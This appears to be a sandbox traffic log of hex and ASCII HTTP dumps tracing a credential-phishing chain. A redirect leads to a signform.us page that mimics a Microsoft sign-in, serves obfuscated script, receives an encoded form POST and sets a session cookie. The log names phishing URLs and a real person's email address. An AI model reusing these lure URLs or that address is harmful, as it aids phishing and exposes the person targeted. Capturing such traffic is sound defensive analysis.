2024-09-27 06:18:43 UTC	334	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 67 65 6e 69 65 72 69 61 77 6a 2e 63 6f 6d 2f 64 6f 62 65 2e 70 68 70 3f 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 64 6f 63 75 38 69 67 6e 2e 77 65 62 2e 61 70 70 2f 35 6b 5a 74 51 33 62 66 61 6e 64 30 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.ingenieriawj.com/dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49751	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:45 UTC	691	OUT	GET /?username=stefan.bubestinger@hoerbiger.com HTTP/1.1 Host: accounts.signform.us Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:45 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-09-27 06:18:45 UTC	7100	IN	Data Raw: 31 62 62 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 30 45 34 28 29 7b 76 61 72 20 6b 54 3d 5b 27 23 30 36 39 27 2c 27 27 2c 27 2e 75 74 69 6c 2d 62 61 72 2d 6d 6f 64 75 6c 65 2d 66 69 72 65 66 6c 79 2d 76 69 73 69 62 6c 65 27 2c 27 70 6f 72 74 32 27 2c 27 75 4e 7a 48 54 27 2c 27 77 67 76 46 74 27 2c 27 53 6c 57 7a 42 27 2c 27 48 49 47 48 5f 46 4c 4f 41 54 27 2c 27 4a 62 57 71 52 27 2c 27 6e 42 6a 78 46 27 2c 27 6d 73 45 78 69 74 46 75 6c 6c 73 63 72 65 65 6e 27 2c 27 4d 65 73 73 61 67 65 43 68 61 6e 6e 65 6c 27 2c 27 27 2c 27 6c Data Ascii: 1bb4<!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> function a0E4(){var kT=['#069','','.util-bar-module-firefly-visible','port2','uNzHT','wgvFt','SlWzB','HIGH_FLOAT','JbWqR','nBjxF','msExitFullscreen','MessageChannel','','l
2024-09-27 06:18:45 UTC	16384	IN	Data Raw: 33 66 66 61 0d 0a 20 22 37 34 37 34 32 35 33 32 33 38 36 31 33 32 22 2c 20 22 33 31 33 38 33 33 33 32 33 31 33 36 33 36 22 2c 20 22 33 38 33 38 33 32 33 34 33 38 33 36 33 34 22 2c 20 22 33 32 33 38 22 5d 27 2c 27 4d 53 53 74 72 65 61 6d 27 2c 27 61 62 62 63 27 2c 27 64 6f 6e 65 27 2c 27 75 6e 73 61 66 65 27 2c 27 6f 72 69 65 6e 74 61 74 69 6f 6e 27 2c 27 66 61 69 6c 27 2c 27 2e 77 70 5f 61 64 62 6c 6f 63 6b 5f 64 65 74 65 63 74 27 2c 27 69 73 50 6f 69 6e 74 49 6e 50 61 74 68 27 2c 27 65 6d 69 74 27 2c 27 61 70 70 65 6e 64 27 2c 27 73 65 72 76 69 63 65 57 6f 72 6b 65 72 27 2c 27 73 74 72 69 6e 67 2d 74 6f 2d 73 79 6d 62 6f 6c 2d 72 65 67 69 73 74 72 79 27 2c 27 6d 6d 4d 77 57 4c 6c 69 49 30 4f 26 31 27 2c 27 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f Data Ascii: 3ffa "74742532386132", "31383332313636", "38383234383634", "3238"]','MSStream','abbc','done','unsafe','orientation','fail','.wp_adblock_detect','isPointInPath','emit','append','serviceWorker','string-to-symbol-registry','mmMwWLliI0O&1','devicePixelRatio
2024-09-27 06:18:45 UTC	16384	IN	Data Raw: 0d 0a 34 30 30 30 0d 0a 3b 7d 28 29 29 29 3b 4d 6e 5b 27 65 78 70 6f 72 74 73 27 5d 3d 4d 6b 3f 4d 61 3a 66 75 6e 63 74 69 6f 6e 28 4d 73 29 7b 76 61 72 20 53 39 3d 53 38 2c 4d 63 2c 4d 6f 2c 4d 4a 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 78 30 3d 3d 3d 4d 73 3f 53 39 28 30 78 31 32 63 29 3a 6e 75 6c 6c 3d 3d 3d 4d 73 3f 27 4e 75 6c 6c 27 3a 53 39 28 30 78 31 65 34 29 3d 3d 74 79 70 65 6f 66 28 4d 6f 3d 66 75 6e 63 74 69 6f 6e 28 4d 79 2c 4d 57 29 7b 76 61 72 20 53 45 3d 53 39 3b 74 72 79 7b 69 66 28 53 45 28 30 78 31 62 37 29 21 3d 3d 53 45 28 30 78 31 62 37 29 29 7b 76 61 72 20 4d 7a 3d 4d 65 28 74 68 69 73 29 2c 4d 65 3d 45 4f 28 45 56 29 3f 76 6f 69 64 20 30 78 30 3a 45 4c 28 45 53 2c 4d 4e 29 3b 72 65 74 75 72 6e 20 4d 65 3f 4d 64 28 4d 65 2c 45 46 Data Ascii: 4000;}()));Mn['exports']=Mk?Ma:function(Ms){var S9=S8,Mc,Mo,MJ;return void 0x0===Ms?S9(0x12c):null===Ms?'Null':S9(0x1e4)==typeof(Mo=function(My,MW){var SE=S9;try{if(SE(0x1b7)!==SE(0x1b7)){var Mz=Me(this),Me=EO(EV)?void 0x0:EL(ES,MN);return Me?Md(Me,EF
2024-09-27 06:18:45 UTC	10	IN	Data Raw: 28 4d 77 29 7b 76 61 72 0d 0a Data Ascii: (Mw){var
2024-09-27 06:18:45 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 20 4c 55 3d 4c 65 3b 72 65 74 75 72 6e 20 4c 55 28 30 78 35 30 35 29 3d 3d 74 79 70 65 6f 66 20 4d 77 3b 7d 3b 7d 2c 30 78 33 61 66 3a 66 75 6e 63 74 69 6f 6e 28 4d 6e 2c 4d 52 2c 4d 77 29 7b 76 61 72 20 4c 43 3d 61 30 45 35 2c 4d 6b 3d 4d 77 28 30 78 31 32 39 61 29 2c 4d 64 3d 4d 77 28 30 78 32 31 31 39 29 2c 4d 61 3d 4d 77 28 30 78 35 63 62 29 2c 4d 51 3d 4d 77 28 30 78 31 38 30 31 29 2c 4d 4e 3d 4d 77 28 30 78 35 38 31 29 2c 4d 66 3d 4d 77 28 30 78 31 63 36 34 29 2c 4d 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 4d 63 3d 4d 4e 28 27 52 65 66 6c 65 63 74 27 2c 4c 43 28 30 78 31 39 35 29 29 2c 4d 6f 3d 2f 5e 5c 73 2a 28 3f 3a 63 6c 61 73 73 7c 66 75 6e 63 74 69 6f 6e 29 5c 62 2f 2c 4d 4a 3d 4d 6b 28 4d 6f 5b 4c 43 28 30 78 32 30 34 29 Data Ascii: 4000 LU=Le;return LU(0x505)==typeof Mw;};},0x3af:function(Mn,MR,Mw){var LC=a0E5,Mk=Mw(0x129a),Md=Mw(0x2119),Ma=Mw(0x5cb),MQ=Mw(0x1801),MN=Mw(0x581),Mf=Mw(0x1c64),Ms=function(){},Mc=MN('Reflect',LC(0x195)),Mo=/^\s*(?:class\|function)\b/,MJ=Mk(Mo[LC(0x204)
2024-09-27 06:18:45 UTC	8	IN	Data Raw: 4d 6b 5b 27 50 72 0d 0a Data Ascii: Mk['Pr
2024-09-27 06:18:45 UTC	9306	IN	Data Raw: 32 34 35 32 0d 0a 6f 6d 69 73 65 52 65 6a 65 63 74 69 6f 6e 45 76 65 6e 74 27 5d 29 2c 4d 7a 3d 4d 51 28 42 78 28 30 78 34 62 32 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 42 4b 3d 42 78 2c 4d 65 3d 4d 4e 28 4d 64 29 2c 4d 55 3d 4d 65 21 3d 3d 53 74 72 69 6e 67 28 4d 64 29 3b 69 66 28 21 4d 55 26 26 30 78 34 32 3d 3d 3d 4d 6f 29 72 65 74 75 72 6e 21 30 78 30 3b 69 66 28 4d 63 26 26 28 21 4d 4a 5b 42 4b 28 30 78 34 31 37 29 5d 7c 7c 21 4d 4a 5b 42 4b 28 30 78 33 34 62 29 5d 29 29 72 65 74 75 72 6e 21 30 78 30 3b 69 66 28 21 4d 6f 7c 7c 4d 6f 3c 30 78 33 33 7c 7c 21 2f 6e 61 74 69 76 65 20 63 6f 64 65 2f 5b 42 4b 28 30 78 31 32 30 29 5d 28 4d 65 29 29 7b 76 61 72 20 4d 43 3d 6e 65 77 20 4d 64 28 66 75 6e 63 74 69 6f 6e 28 4d 76 29 7b 4d 76 28 30 78 Data Ascii: 2452omiseRejectionEvent']),Mz=MQ(Bx(0x4b2),function(){var BK=Bx,Me=MN(Md),MU=Me!==String(Md);if(!MU&&0x42===Mo)return!0x0;if(Mc&&(!MJ[BK(0x417)]\|\|!MJ[BK(0x34b)]))return!0x0;if(!Mo\|\|Mo<0x33\|\|!/native code/[BK(0x120)](Me)){var MC=new Md(function(Mv){Mv(0x
2024-09-27 06:18:45 UTC	16384	IN	Data Raw: 33 66 66 39 0d 0a 38 3d 30 78 30 2c 74 39 3d 74 31 7c 7c 4d 70 2c 74 45 3d 4d 6d 3f 74 39 28 4d 44 2c 74 36 29 3a 4d 71 7c 7c 4d 47 3f 74 39 28 4d 44 2c 30 78 30 29 3a 76 6f 69 64 20 30 78 30 3b 74 36 3e 74 38 3b 74 38 2b 2b 29 69 66 28 28 4d 75 7c 7c 74 38 20 69 6e 20 74 35 29 26 26 28 74 33 3d 74 37 28 74 32 3d 74 35 5b 74 38 5d 2c 74 38 2c 74 34 29 2c 4d 47 29 29 7b 69 66 28 4d 6d 29 74 45 5b 74 38 5d 3d 74 33 3b 65 6c 73 65 7b 69 66 28 74 33 29 73 77 69 74 63 68 28 4d 75 29 7b 63 61 73 65 20 30 78 33 3a 72 65 74 75 72 6e 21 30 78 30 3b 63 61 73 65 20 30 78 35 3a 72 65 74 75 72 6e 20 74 32 3b 63 61 73 65 20 30 78 36 3a 72 65 74 75 72 6e 20 74 38 3b 63 61 73 65 20 30 78 32 3a 45 47 28 74 45 2c 74 32 29 3b 7d 65 6c 73 65 20 73 77 69 74 63 68 28 45 69 29 Data Ascii: 3ff98=0x0,t9=t1\|\|Mp,tE=Mm?t9(MD,t6):Mq\|\|MG?t9(MD,0x0):void 0x0;t6>t8;t8++)if((Mu\|\|t8 in t5)&&(t3=t7(t2=t5[t8],t8,t4),MG)){if(Mm)tE[t8]=t3;else{if(t3)switch(Mu){case 0x3:return!0x0;case 0x5:return t2;case 0x6:return t8;case 0x2:EG(tE,t2);}else switch(Ei)
2024-09-27 06:18:45 UTC	16384	IN	Data Raw: 0a 34 30 30 30 0d 0a 52 3f 74 4d 5b 27 6f 6b 27 5d 3a 74 4d 5b 72 43 28 30 78 34 62 61 29 5d 2c 74 6b 3d 74 4d 5b 72 43 28 30 78 31 33 30 29 5d 2c 74 64 3d 74 4d 5b 72 43 28 30 78 33 37 63 29 5d 2c 74 61 3d 74 4d 5b 72 43 28 30 78 34 30 39 29 5d 3b 74 72 79 7b 74 77 3f 28 74 52 7c 7c 28 30 78 32 3d 3d 3d 74 53 5b 27 72 65 6a 65 63 74 69 6f 6e 27 5d 26 26 74 38 28 74 53 29 2c 74 53 5b 27 72 65 6a 65 63 74 69 6f 6e 27 5d 3d 30 78 31 29 2c 21 30 78 30 3d 3d 3d 74 77 3f 74 4c 3d 74 72 3a 28 74 61 26 26 74 61 5b 72 43 28 30 78 32 31 66 29 5d 28 29 2c 74 4c 3d 74 77 28 74 72 29 2c 74 61 26 26 28 74 61 5b 72 43 28 30 78 31 31 65 29 5d 28 29 2c 74 58 3d 21 30 78 30 29 29 2c 74 4c 3d 3d 3d 74 4d 5b 72 43 28 30 78 33 65 30 29 5d 3f 74 64 28 6e 65 77 20 4d 70 28 72 Data Ascii: 4000R?tM['ok']:tM[rC(0x4ba)],tk=tM[rC(0x130)],td=tM[rC(0x37c)],ta=tM[rC(0x409)];try{tw?(tR\|\|(0x2===tS['rejection']&&t8(tS),tS['rejection']=0x1),!0x0===tw?tL=tr:(ta&&ta[rC(0x21f)](),tL=tw(tr),ta&&(ta[rC(0x11e)](),tX=!0x0)),tL===tM[rC(0x3e0)]?td(new Mp(r
2024-09-27 06:18:45 UTC	9	IN	Data Raw: 4d 77 28 30 78 32 31 0d 0a Data Ascii: Mw(0x21

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49753	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:47 UTC	910	OUT	POST /?username=stefan.bubestinger@hoerbiger.com HTTP/1.1 Host: accounts.signform.us Connection: keep-alive Content-Length: 4448 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://accounts.signform.us Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:47 UTC	4448	OUT	Data Raw: 37 36 6d 6d 67 30 6d 3d 25 35 42 25 35 42 25 32 32 37 39 37 33 36 62 36 35 37 37 36 66 33 30 36 63 37 39 25 32 32 25 32 43 25 32 32 33 36 33 31 36 36 37 32 36 38 37 61 37 31 33 32 33 38 25 32 32 25 32 43 25 32 32 32 35 33 37 34 36 37 35 37 36 36 63 33 37 37 39 32 35 25 32 32 25 32 43 25 32 32 33 33 34 34 32 35 33 37 34 32 37 65 36 39 36 65 33 32 25 32 32 25 32 43 25 32 32 33 39 33 33 33 34 33 36 33 32 33 31 33 34 33 30 33 36 25 32 32 25 32 43 25 32 32 33 37 33 33 33 34 33 32 33 36 33 37 33 38 25 32 32 25 35 44 25 32 43 25 32 32 32 39 33 34 36 32 31 34 30 36 25 32 32 25 32 43 25 32 32 36 33 32 37 30 32 36 25 32 32 25 32 43 34 25 35 44 26 7a 38 63 6f 63 65 77 39 63 39 3d 25 35 42 25 35 42 25 32 32 36 63 37 39 37 39 37 61 37 65 37 35 36 62 33 39 37 32 25 32 Data Ascii: 76mmg0m=%5B%5B%2279736b65776f306c79%22%2C%2236316672687a713238%22%2C%2225374675766c377925%22%2C%2233442537427e696e32%22%2C%22393334363231343036%22%2C%2237333432363738%22%5D%2C%222934621406%22%2C%226327026%22%2C4%5D&z8cocew9c9=%5B%5B%226c79797a7e756b3972%2
2024-09-27 06:18:48 UTC	428	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 27 Sep 2024 06:18:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com set-cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="; Domain=signform.us; HttpOnly; Path=/; SameSite=None; Secure
2024-09-27 06:18:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49754	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:48 UTC	919	OUT	GET /?username=stefan.bubestinger@hoerbiger.com HTTP/1.1 Host: accounts.signform.us Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
2024-09-27 06:18:49 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55512 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 02e5502b-6a80-4091-90bd-8fa0da3eb300 x-ms-ests-server: 2.1.19005.8 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:49 UTC	13680	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d4 7d 69 57 e3 48 b2 e8 f7 fe 15 e0 d7 0f 4b 83 30 96 17 f0 52 6a 0f c5 52 b8 58 0c 18 4c 77 b9 7d eb c9 b2 8c 05 96 44 49 32 4b 81 ff fb 8b 88 cc 94 52 b2 5d 55 77 66 ee 3b e7 f5 99 29 a4 54 2e 91 91 91 b1 67 fa c3 fa 41 67 ff fa af 8b c3 b5 49 e4 4e ff f8 ed 03 fb b3 f6 61 62 9b 23 f8 bb f6 21 72 a2 a9 8d 4f 6b 57 f6 c8 09 6c 2b 72 bc 3b fc b0 1d 7f f9 e0 da 91 b9 66 f9 5e 64 7b 91 91 8b ec 97 68 1b fb 69 ae 59 13 33 08 ed c8 98 45 e3 ad 5a 0e c6 88 1e b7 ec 6f 33 e7 c9 c8 ed b3 ea 5b d7 af 8f 76 6e 7b 49 37 ed 43 c3 1e dd d9 e9 56 7f 6e dd ec 6d ed fb ee a3 19 39 c3 e9 f2 86 cf ce 28 9a 18 23 fb c9 b1 ec 2d 7a d1 d6 1c cf 89 1c 73 ba 15 5a e6 d4 36 f4 42 51 5b 73 cd 17 c7 9d b9 bc a8 84 45 b3 d0 0e e8 dd 84 be 8d 57 3b cc Data Ascii: }iWHK0RjRXLw}DI2KR]Uwf;)T.gAgINab#!rOkWl+r;f^d{hiY3EZo3[vn{I7CVnm9(#-zsZ6BQ[sEW;
2024-09-27 06:18:49 UTC	16384	IN	Data Raw: 79 ad 05 5c 33 7f 9f 30 6c 49 a1 8a cd 30 c9 a8 0d f0 47 c8 f8 55 07 3c b4 b8 5e 6c 46 2b 57 29 5a d6 33 e5 86 2c ef 14 cd fe 24 3d 4f 5d a4 a6 a6 4f de 4f de 5b 64 24 b9 8b 72 8f 11 fe 1e 93 b8 91 21 43 20 4b 80 4b f5 89 10 b2 94 95 1f 81 98 b0 fb 65 14 df f4 25 2f 01 02 29 a7 d8 af 80 33 be 14 0b 43 d9 85 f1 0f 3d 0a e4 bf c3 ff 37 f6 55 b6 97 4a 48 05 a4 25 aa ab ee 11 fa c1 55 3b c9 14 3a 5a 8f 1f 00 1a 1b 66 b1 53 d5 5c a3 03 5d 32 7f ee fa 7a 7f 90 5c cc d9 36 12 c6 e2 8e 95 e2 8b 5e 43 56 07 7f 65 96 43 5f ea 26 7d 48 f1 4b d6 c4 de a1 2f 65 89 15 d2 87 d2 a8 46 1f 80 71 66 5a ec 8c e8 43 75 61 90 d2 4e 9d be ec 2c 8c 32 64 c3 ef 2e 8e be 4b 1f 6a 8b 7d ed b2 be ea 0b 7d 8d cb f4 c1 5c 68 32 64 2d 86 8b 73 1c 95 e8 8b b5 38 4a 65 4c 5f 46 64 dc b5 Data Ascii: y\30lI0GU<^lF+W)Z3,$=O]OO[d$r!C KKe%/)3C=7UJH%U;:ZfS\]2z\6^CVeC_&}HK/eFqfZCuaN,2d.Kj}}\h2d-s8JeL_Fd
2024-09-27 06:18:49 UTC	16384	IN	Data Raw: 28 8a 03 b9 a6 78 4c 0e 74 39 92 00 91 46 1c 5c 0d 33 5c 4b 81 e5 57 36 1d 15 18 b1 78 68 54 86 25 b4 ef 7d 83 c0 ab ba 3e d5 e1 95 d5 fd 4c a3 1a 0b 87 ff 33 83 c3 37 a6 92 6b fd d8 2a 99 de 80 bb 17 d6 78 b4 a7 a3 2b 9a b8 af 04 85 b8 b2 fa 4b cb 08 5f 3e 7d bb eb c2 ff 87 9f 7c 36 d8 9f b4 4b 67 86 32 15 1d a2 34 93 d8 da 8e 4e ac f9 5f 3d 3f cd 55 84 5d 04 e1 a8 c3 f5 30 de 49 f4 c8 78 27 d1 77 4e f5 f0 4e 88 03 5f c2 3b e1 8f 5d bc 93 e8 59 f0 4e 9a 2c af 56 4b 2b d5 72 ba db cc d4 c7 0e 3e f3 aa ee 3a 50 98 2d 77 f2 ab 1b ab c5 ab 2f af 84 1b f5 4c 98 b6 2a 8e 74 c5 c1 55 2d 4b 95 b6 34 75 fc bb 0f 88 31 af 7d 01 a3 a3 b5 13 19 76 c7 16 6c bd 36 0c 6b 5f 44 73 98 67 c7 b6 91 17 6a 74 9f 47 1c 9e 35 24 6f ec c3 c2 81 18 89 63 f0 13 ae 9c 76 4a da 9c Data Ascii: (xLt9F\3\KW6xhT%}>L37kx+K_>}\|6Kg24N_=?U]0Ix'wNN_;]YN,VK+r>:P-w/LtU-K4u1}vl6k_DsgjtG5$ocvJ
2024-09-27 06:18:49 UTC	9064	IN	Data Raw: bc ec a4 04 4c da 65 ab 28 b5 e1 a1 7d 2f 93 fe 24 37 88 be 9d e5 93 12 df 30 5d d9 ec 14 76 02 4d ec 53 13 f5 72 39 7e 47 d8 34 9f e8 2d c5 73 6b f4 0d 79 44 7c 8a 42 ff 53 46 09 89 ee 24 fc 47 86 98 3b 3c 17 cb 53 e1 a4 d4 d4 80 57 b8 b0 ce 69 c9 e6 40 63 48 89 ed 5e b2 29 03 dd 3f 80 89 19 97 87 13 26 21 67 a7 e3 b5 b5 5d 19 06 28 81 68 25 4f d5 ab 02 e0 38 03 ff a2 98 34 62 4d 7b 5c 27 9b d2 d8 23 d5 34 f1 cc e9 8f d5 58 8f e9 95 5a 8f 7b 6a 09 a8 27 0a 22 d2 38 b2 f5 6e a6 2c 28 b8 6e 72 30 5d c5 36 34 ce a9 06 35 1c 6a d0 c1 ae 1c ff f1 87 11 09 d4 38 a4 b2 ab 25 49 2b c0 b8 64 ab e3 72 8f e8 62 93 36 48 86 c9 9b 9a 9b 2d da c7 3b fa 69 97 e6 c9 e0 cf 93 0d 05 e9 42 83 64 93 ca fa 6c 55 f1 2a 33 31 8c c8 3a de c2 1c c9 23 c5 50 c5 33 5f d9 51 a9 ee Data Ascii: Le(}/$70]vMSr9~G4-skyD\|BSF$G;<SWi@cH^)?&!g](h%O84bM{\'#4XZ{j'"8n,(nr0]645j8%I+drb6H-;iBdlU*31:#P3_Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49761	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:49 UTC	634	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1 Host: 3555af0f-b98cbfac.signform.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://accounts.signform.us sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://accounts.signform.us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:50 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:50 GMT Content-Type: application/x-javascript Content-Length: 49798 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 4326275 cache-control: public, max-age=31536000 etag: 0x8DCB563C85A43C4 last-modified: Mon, 05 Aug 2024 15:32:14 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: afb358ea-101e-006b-294c-e94dd8000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-09-27 06:18:50 UTC	13689	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 e0 ce 9d 06 ba 9b 19 20 0c 81 e9 d9 05 96 cb 89 15 f0 74 b0 b3 b6 c3 cb 40 ce 6f 3f f5 22 d9 b2 e3 d0 3d bb e7 3a 5f 9e 79 21 b6 54 92 a5 52 55 a9 aa 54 92 d6 7f 5a f9 9f ca 4f 95 b5 1f ff a7 32 38 ef 9d 9d 57 fa 9f 2a e7 5f 0e cf f6 2b a7 f0 f6 8f ca 49 ff fc 70 ef e0 c7 eb c1 8f e2 ff e7 77 7e 5c 19 fb 13 51 81 df a1 1b 0b af 12 06 95 30 aa f8 c1 28 8c a6 61 e4 26 22 ae dc c3 df c8 77 27 95 71 14 de 57 92 3b 51 99 46 e1 1f 62 94 c4 95 89 1f 27 50 68 28 26 e1 63 a5 0a d5 45 5e e5 d4 8d 92 e7 ca e1 a9 59 87 fa 05 d4 e6 df fa 01 94 1e 85 d3 67 78 be 4b 2a 41 98 f8 23 51 71 03 8f 6a 9b c0 4b 10 8b ca 2c f0 44 54 79 bc f3 47 77 95 63 7f 14 85 71 38 4e 2a 91 18 09 Data Ascii: m[80OL t@o?"=:_y!TRUTZO28W_+Ipw~\Q0(a&"w'qW;QFb'Ph(&cE^YgxKA#QqjK,DTyGwcq8N*
